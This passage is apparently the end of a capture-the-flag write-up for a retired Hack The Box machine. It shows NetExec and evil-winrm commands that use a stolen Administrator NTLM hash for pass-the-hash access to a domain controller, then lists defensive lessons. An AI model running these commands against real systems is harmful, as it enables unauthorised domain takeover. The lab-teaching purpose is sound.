The last step retrieved the NTLM hash for the Administrator user. NetExec (nxc) confirmed that the hash was indeed valid and Pwn3d! indicated that domain compromise was achieved.
fcoomans@kali:~/htb/tombwatcher$ nxc smb dc01.tombwatcher.htb -u Administrator -H aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\Administrator:f61db423bebe3328d33af26741afe5fc (Pwn3d!)
I used evil-winrm to connect to the target using the Administrator hash. This is a technique known as Pass-the-Hash (PtH).
fcoomans@kali:~/htb/tombwatcher$ evil-winrm -i dc01.tombwatcher.htb -u Administrator -H f61db423bebe3328d33af26741afe5fc
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
tombwatcher\administrator
💰 Post Exploitation
🏆 root.txt
The Administrator user was the holder of the root.txt flag.
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
17dd9e511eea2bd866fc63ff1bad1c0b
I pulled the right chains and raised a dead account — who knew pentesting included necromancy? 🔗🧟
And TombWatcher has been Pwned! 🎉

📚 Lessons Learned
- Weak passwords: Alfred’s weak password enabled the initial pivot. Enforce long, complex passwords for all accounts, rotate high‑value credentials, and monitor for unusual activity.
- AD ACE abuse & Principle of Least Privilege (PoLP): Small privileges stacked up: group membership, GMSA read, and password reset rights. Regularly review ACLs and enforce principle of least privilege. Audit changes to group memberships and permissions.
- Tombstone restore rights: John’s ability to restore deleted objects was a major escalation vector. Limit restore permissions, audit usage, and consider shortening tombstone retention or using secure deletion workflows.
- AD CS — ESC15 vulnerability: ESC15 allows abuse of vulnerable templates to obtain certificates for high‑privilege impersonation. Mitigations: patch AD CS servers, restrict template enrollment, clone v1 templates to v2, and monitor certificate requests.
⚠️ Disclaimer
This write-up covers a retired HTB machine and is for educational purposes only. All IPs, credentials, and flags exist in a lab environment. My username is intentionally used throughout this write-up to build my cybersecurity brand.